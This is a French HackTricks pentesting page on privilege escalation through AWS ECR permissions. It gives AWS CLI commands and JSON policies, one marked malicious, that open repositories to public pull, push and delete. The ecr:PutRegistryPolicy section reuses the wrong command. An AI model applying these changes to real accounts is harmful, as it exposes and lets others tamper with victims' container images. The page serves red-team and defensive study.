AWS - ECR Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un attaquant avec les autorisations ecr:GetAuthorizationToken et ecr:BatchGetImage peut se connecter à ECR et télécharger des images.

Pour plus d'informations sur la façon de télécharger des images :

pageAWS - ECR Post Exploitation

Impact potentiel : Privilège indirect en interceptant des informations sensibles dans le trafic.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un attaquant avec toutes ces autorisations peut se connecter à ECR et télécharger des images. Cela peut être utile pour escalader les privilèges vers d'autres environnements où ces images sont utilisées.

Pour apprendre comment télécharger une nouvelle image/mettre à jour une, consultez :

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Comme la section précédente, mais pour les référentiels publics.

ecr:SetRepositoryPolicy

Un attaquant avec cette autorisation pourrait modifier la politique du référentiel pour s'accorder (ou même accorder à tout le monde) un accès en lecture/écriture. Par exemple, dans cet exemple, un accès en lecture est donné à tout le monde.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenu de my-policy.json :

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Comme la section précédente, mais pour les dépôts publics. Un attaquant peut modifier la politique du dépôt d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour escalader ses privilèges.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impact potentiel : Accès public non autorisé au dépôt ECR public, permettant à tout utilisateur de pousser, tirer ou supprimer des images.

ecr:PutRegistryPolicy

Un attaquant avec cette autorisation pourrait modifier la politique du registre pour s'accorder lui-même, son compte (ou même tout le monde) un accès en lecture/écriture.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour